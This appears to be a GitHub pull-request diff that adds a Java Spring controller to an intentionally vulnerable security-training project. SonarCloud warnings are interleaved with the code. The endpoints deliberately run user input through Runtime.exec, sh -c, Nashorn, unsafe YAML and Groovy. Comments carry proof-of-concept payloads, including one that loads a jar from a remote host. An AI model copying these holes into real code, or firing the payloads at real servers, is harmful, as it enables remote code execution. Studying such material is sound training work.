Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
138 changes: 138 additions & 0 deletions src/main/java/org/joychou/controller/Rce2.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,138 @@
package org.joychou.controller;

import groovy.lang.GroovyShell;
import lombok.extern.slf4j.Slf4j;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;

import javax.script.Bindings;
import javax.script.ScriptContext;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;


/**
* Java code execute
*
* @author JoyChou @ 2018-05-24
*/
@Slf4j
@RestController
@RequestMapping("/rce")
public class Rce {

@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();

try {
Process p = run.exec(cmd);

Check failure

Code scanning / SonarCloud

OS commands should not be vulnerable to command injection attacks

<!--SONAR_ISSUE_KEY:AZWdywI1eLlEgZLMQtWt-->Change this code to not construct the OS command from user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWdywI1eLlEgZLMQtWt&open=AZWdywI1eLlEgZLMQtWt&pullRequest=3">SonarQube Cloud</a></p>

Check failure

Code scanning / SonarCloud

OS commands should not be vulnerable to command injection attacks

<!--SONAR_ISSUE_KEY:AZWiEIx5GaQdYdx2B2UD-->Change this code to not construct the OS command from user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWiEIx5GaQdYdx2B2UD&open=AZWiEIx5GaQdYdx2B2UD&pullRequest=3">SonarQube Cloud</a></p>

Check failure

Code scanning / SonarCloud

OS commands should not be vulnerable to command injection attacks

<!--SONAR_ISSUE_KEY:AZWiEWIQAKPcbPrntm8Y-->Change this code to not construct the OS command from user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWiEWIQAKPcbPrntm8Y&open=AZWiEWIQAKPcbPrntm8Y&pullRequest=7">SonarQube Cloud</a></p>
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}

if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}

inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}


/**
* <a href="http://localhost:8080/rce/ProcessBuilder?cmd=whoami">POC</a>
*/
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {

StringBuilder sb = new StringBuilder();

try {
String[] arrCmd = {"/bin/sh", "-c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);

Check failure

Code scanning / SonarCloud

OS commands should not be vulnerable to command injection attacks

<!--SONAR_ISSUE_KEY:AZWdywI1eLlEgZLMQtWs-->Change this code to not construct the OS command from user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWdywI1eLlEgZLMQtWs&open=AZWdywI1eLlEgZLMQtWs&pullRequest=3">SonarQube Cloud</a></p>

Check failure

Code scanning / SonarCloud

OS commands should not be vulnerable to command injection attacks

<!--SONAR_ISSUE_KEY:AZWiEIx5GaQdYdx2B2UC-->Change this code to not construct the OS command from user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWiEIx5GaQdYdx2B2UC&open=AZWiEIx5GaQdYdx2B2UC&pullRequest=3">SonarQube Cloud</a></p>

Check failure

Code scanning / SonarCloud

OS commands should not be vulnerable to command injection attacks

<!--SONAR_ISSUE_KEY:AZWiEWIQAKPcbPrntm8Z-->Change this code to not construct the OS command from user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWiEWIQAKPcbPrntm8Z&open=AZWiEWIQAKPcbPrntm8Z&pullRequest=7">SonarQube Cloud</a></p>
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}

return sb.toString();
}


/**
* http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
*
* curl http://xx.yy/zz.js
* var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
*
* @param jsurl js url
*/
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);

Check failure

Code scanning / SonarCloud

Dynamic code execution should not be vulnerable to injection attacks

<!--SONAR_ISSUE_KEY:AZWdywI1eLlEgZLMQtWu-->Change this code to not dynamically execute code influenced by user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWdywI1eLlEgZLMQtWu&open=AZWdywI1eLlEgZLMQtWu&pullRequest=3">SonarQube Cloud</a></p>

Check failure

Code scanning / SonarCloud

Dynamic code execution should not be vulnerable to injection attacks

<!--SONAR_ISSUE_KEY:AZWiEIx5GaQdYdx2B2UE-->Change this code to not dynamically execute code influenced by user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWiEIx5GaQdYdx2B2UE&open=AZWiEIx5GaQdYdx2B2UE&pullRequest=3">SonarQube Cloud</a></p>

Check failure

Code scanning / SonarCloud

Dynamic code execution should not be vulnerable to injection attacks

<!--SONAR_ISSUE_KEY:AZWiEWIQAKPcbPrntm8a-->Change this code to not dynamically execute code influenced by user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWiEWIQAKPcbPrntm8a&open=AZWiEWIQAKPcbPrntm8a&pullRequest=7">SonarQube Cloud</a></p>
}


/**
* http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
* yaml-payload.jar: https://github.com/artsploit/yaml-payload
*
* @param content payloads
*/
@GetMapping("/vuln/yarm")
public void yarm(String content) {
Yaml y = new Yaml();
y.load(content);
}

@GetMapping("/sec/yarm")
public void secYarm(String content) {
Yaml y = new Yaml(new SafeConstructor());
y.load(content);
}

/**
* http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
* @param content groovy shell
*/
@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}



public static void main(String[] args) throws Exception{
Runtime.getRuntime().exec("touch /tmp/x");
}
}